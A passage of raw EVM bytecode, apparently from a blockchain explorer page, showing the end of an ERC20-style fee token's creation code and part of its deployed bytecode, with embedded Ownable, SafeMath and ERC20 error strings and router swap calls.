ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612540565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612540565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611199576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119090612664565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906126f6565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e691906122a2565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612788565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c99061281a565b60405180910390fd5b60008211611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906128ac565b60405180910390fd5b601060149054906101000a900460ff161561143c57611435848484611844565b905061177b565b6000611447306109e4565b9050601060149054906101000a900460ff161580156114b05750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114c85750601060159054906101000a900460ff165b156114f357601060169054906101000a900460ff16156114e857600c5490505b6114f28186611a17565b5b61157c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116625750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167657611671868686611cef565b611678565b835b90506116cc81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176c91906122a2565b60405180910390a36001925050505b9392505050565b60008383111582906117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c19190612162565b60405180910390fd5b50600083856117d991906128fb565b9050809150509392505050565b60008082846117f5919061292f565b90508381101561183a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611831906129af565b60405180910390fd5b8091505092915050565b60006118cf826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0491906122a2565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a4f57611a4e6129cf565b5b604051908082528060200260200182016040528015611a7d5781602001602082028036833780820191505090505b5090503081600081518110611a9557611a946129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae457611ae36129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611baf9190612a42565b81600281518110611bc357611bc26129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c61959493929190612b68565b600060405180830381600087803b158015611c7b57600080fd5b505af1158015611c8f573d6000803e3d6000fd5b5050505060004790506000811115611cce57611ccd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f16565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7757611d706064611d6260095486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b9050611df5565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df457611df16064611de3600a5486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b90505b5b6000811115611ef957611e5081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef091906122a2565b60405180910390a35b611f0c818461202590919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f5c573d6000803e3d6000fd5b505050565b6000808303611f735760009050611fd5565b60008284611f819190612bc2565b9050828482611f909190612c33565b14611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790612cd6565b60405180910390fd5b809150505b92915050565b600061201d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206f565b905092915050565b600061206783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611782565b905092915050565b600080831182906120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad9190612162565b60405180910390fd5b50600083856120c59190612c33565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561210c5780820151818401526020810190506120f1565b60008484015250505050565b6000601f19601f8301169050919050565b6000612134826120d2565b61213e81856120dd565b935061214e8185602086016120ee565b61215781612118565b840191505092915050565b6000602082019050818103600083015261217c8184612129565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121b482612189565b9050919050565b6121c4816121a9565b81146121cf57600080fd5b50565b6000813590506121e1816121bb565b92915050565b6000819050919050565b6121fa816121e7565b811461220557600080fd5b50565b600081359050612217816121f1565b92915050565b6000806040838503121561223457612233612184565b5b6000612242858286016121d2565b925050602061225385828601612208565b9150509250929050565b60008115159050919050565b6122728161225d565b82525050565b600060208201905061228d6000830184612269565b92915050565b61229c816121e7565b82525050565b60006020820190506122b76000830184612293565b92915050565b6000806000606084860312156122d6576122d5612184565b5b60006122e4868287016121d2565b93505060206122f5868287016121d2565b925050604061230686828701612208565b9150509250925092565b612319816121a9565b82525050565b60006020820190506123346000830184612310565b92915050565b600060ff82169050919050565b6123508161233a565b82525050565b600060208201905061236b6000830184612347565b92915050565b60006020828403121561238757612386612184565b5b6000612395848285016121d2565b91505092915050565b6000819050919050565b60006123c36123be6123b984612189565b61239e565b612189565b9050919050565b60006123d5826123a8565b9050919050565b60006123e7826123ca565b9050919050565b6123f7816123dc565b82525050565b600060208201905061241260008301846123ee565b92915050565b600061242382612189565b9050919050565b61243381612418565b82525050565b600060208201905061244e600083018461242a565b92915050565b6000806040838503121561246b5761246a612184565b5b6000612479858286016121d2565b925050602061248a858286016121d2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124db57607f821691505b6020821081036124ee576124ed612494565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061252a6020836120dd565b9150612535826124f4565b602082019050919050565b600060208201905081810360008301526125598161251d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125bc6026836120dd565b91506125c782612560565b604082019050919050565b600060208201905081810360008301526125eb816125af565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061264e6024836120dd565b9150612659826125f2565b604082019050919050565b6000602082019050818103600083015261267d81612641565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126e06022836120dd565b91506126eb82612684565b604082019050919050565b6000602082019050818103600083015261270f816126d3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127726025836120dd565b915061277d82612716565b604082019050919050565b600060208201905081810360008301526127a181612765565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128046023836120dd565b915061280f826127a8565b604082019050919050565b60006020820190508181036000830152612833816127f7565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006128966029836120dd565b91506128a18261283a565b604082019050919050565b600060208201905081810360008301526128c581612889565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612906826121e7565b9150612911836121e7565b9250828203905081811115612929576129286128cc565b5b92915050565b600061293a826121e7565b9150612945836121e7565b925082820190508082111561295d5761295c6128cc565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612999601b836120dd565b91506129a482612963565b602082019050919050565b600060208201905081810360008301526129c88161298c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612a3c816121bb565b92915050565b600060208284031215612a5857612a57612184565b5b6000612a6684828501612a2d565b91505092915050565b6000819050919050565b6000612a94612a8f612a8a84612a6f565b61239e565b6121e7565b9050919050565b612aa481612a79565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612adf816121a9565b82525050565b6000612af18383612ad6565b60208301905092915050565b6000602082019050919050565b6000612b1582612aaa565b612b1f8185612ab5565b9350612b2a83612ac6565b8060005b83811015612b5b578151612b428882612ae5565b9750612b4d83612afd565b925050600181019050612b2e565b5085935050505092915050565b600060a082019050612b7d6000830188612293565b612b8a6020830187612a9b565b8181036040830152612b9c8186612b0a565b9050612bab6060830185612310565b612bb86080830184612293565b9695505050505050565b6000612bcd826121e7565b9150612bd8836121e7565b9250828202612be6816121e7565b91508282048414831517612bfd57612bfc6128cc565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c3e826121e7565b9150612c49836121e7565b925082612c5957612c58612c04565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612cc06021836120dd565b9150612ccb82612c64565b604082019050919050565b60006020820190508181036000830152612cef81612cb3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f8ff4509ebc012e2c9c90d4e8ad9fac00c2a568a7fa42b7982eeffed7b7f52a664736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c8063914eb66a116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b8063a457c2d7116100c6578063a457c2d7146104fa578063a9059cbb14610537578063aeafaa2f14610574578063b2bdfa7b1461059f576101c2565b8063914eb66a1461048d57806395d89b41146104a4578063a073d37f146104cf576101c2565b80633ecad27111610159578063557ed1ba11610133578063557ed1ba146103cf57806370a08231146103fa57806382eefb43146104375780638da5cb5b14610462576101c2565b80633ecad2711461032a5780634a74bb02146103675780635342acb414610392576101c2565b806323b872dd1161019557806323b872dd1461025a57806327c8f83514610297578063313ce567146102c257806339509351146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e99190612162565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061221d565b610797565b6040516102269190612278565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b60405161025191906122a2565b60405180910390f35b34801561026657600080fd5b50610281600480360381019061027c91906122bd565b6107bf565b60405161028e9190612278565b60405180910390f35b3480156102a357600080fd5b506102ac610899565b6040516102b9919061231f565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e49190612356565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061221d565b6108d6565b6040516103219190612278565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c9190612371565b610989565b60405161035e9190612278565b60405180910390f35b34801561037357600080fd5b5061037c6109a9565b6040516103899190612278565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612371565b6109bc565b6040516103c69190612278565b60405180910390f35b3480156103db57600080fd5b506103e46109dc565b6040516103f191906122a2565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190612371565b6109e4565b60405161042e91906122a2565b60405180910390f35b34801561044357600080fd5b5061044c610a2d565b60405161045991906122a2565b60405180910390f35b34801561046e57600080fd5b50610477610a33565b604051610484919061231f565b60405180910390f35b34801561049957600080fd5b506104a2610a5c565b005b3480156104b057600080fd5b506104b9610baf565b6040516104c69190612162565b60405180910390f35b3480156104db57600080fd5b506104e4610c41565b6040516104f191906122a2565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c919061221d565b610c4b565b60405161052e9190612278565b60405180910390f35b34801561054357600080fd5b5061055e6004803603810190610559919061221d565b610d18565b60405161056b9190612278565b60405180910390f35b34801561058057600080fd5b50610589610d37565b60405161059691906123fd565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c1919061231f565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec919061231f565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612439565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612278565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190612454565b610de0565b60405161067f91906122a2565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa9190612371565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d391906122a2565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe9190612371565b610f61565b005b606060018054610714906124c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124c3565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611122565b848461112a565b6001905092915050565b6000600b54905090565b60006107cc8484846112f3565b5061088e846107d9611122565b61088985604051806060016040528060288152602001612cf760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061083f611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b600061097f6108e3611122565b8461097a85600660006108f4611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b61112a565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a64611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae890612540565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bbe906124c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610bea906124c3565b8015610c375780601f10610c0c57610100808354040283529160200191610c37565b820191906000526020600020905b815481529060010190602001808311610c1a57829003601f168201915b5050505050905090565b6000600c54905090565b6000610d0e610c58611122565b84610d0985604051806060016040528060258152602001612d1f6025913960066000610c82611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b6001905092915050565b6000610d2c610d25611122565b84846112f3565b506001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612540565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612540565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611199576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119090612664565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906126f6565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e691906122a2565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612788565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c99061281a565b60405180910390fd5b60008211611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906128ac565b60405180910390fd5b601060149054906101000a900460ff161561143c57611435848484611844565b905061177b565b6000611447306109e4565b9050601060149054906101000a900460ff161580156114b05750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114c85750601060159054906101000a900460ff165b156114f357601060169054906101000a900460ff16156114e857600c5490505b6114f28186611a17565b5b61157c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116625750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167657611671868686611cef565b611678565b835b90506116cc81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176c91906122a2565b60405180910390a36001925050505b9392505050565b60008383111582906117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c19190612162565b60405180910390fd5b50600083856117d991906128fb565b9050809150509392505050565b60008082846117f5919061292f565b90508381101561183a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611831906129af565b60405180910390fd5b8091505092915050565b60006118cf826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0491906122a2565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a4f57611a4e6129cf565b5b604051908082528060200260200182016040528015611a7d5781602001602082028036833780820191505090505b5090503081600081518110611a9557611a946129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae457611ae36129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611baf9190612a42565b81600281518110611bc357611bc26129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c61959493929190612b68565b600060405180830381600087803b158015611c7b57600080fd5b505af1158015611c8f573d6000803e3d6000fd5b5050505060004790506000811115611cce57611ccd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f16565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7757611d706064611d6260095486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b9050611df5565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df457611df16064611de3600a5486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b90505b5b6000811115611ef957611e5081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef091906122a2565b60405180910390a35b611f0c818461202590919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f5c573d6000803e3d6000fd5b505050565b6000808303611f735760009050611fd5565b60008284611f819190612bc2565b9050828482611f909190612c33565b14611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790612cd6565b60405180910390fd5b809150505b92915050565b600061201d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206f565b905092915050565b600061206783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611782565b905092915050565b600080831182906120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad9190612162565b60405180910390fd5b50600083856120c59190612c33565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561210c5780820151818401526020810190506120f1565b60008484015250505050565b6000601f19601f8301169050919050565b6000612134826120d2565b61213e81856120dd565b935061214e8185602086016120ee565b61215781612118565b840191505092915050565b6000602082019050818103600083015261217c8184612129565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff8216905091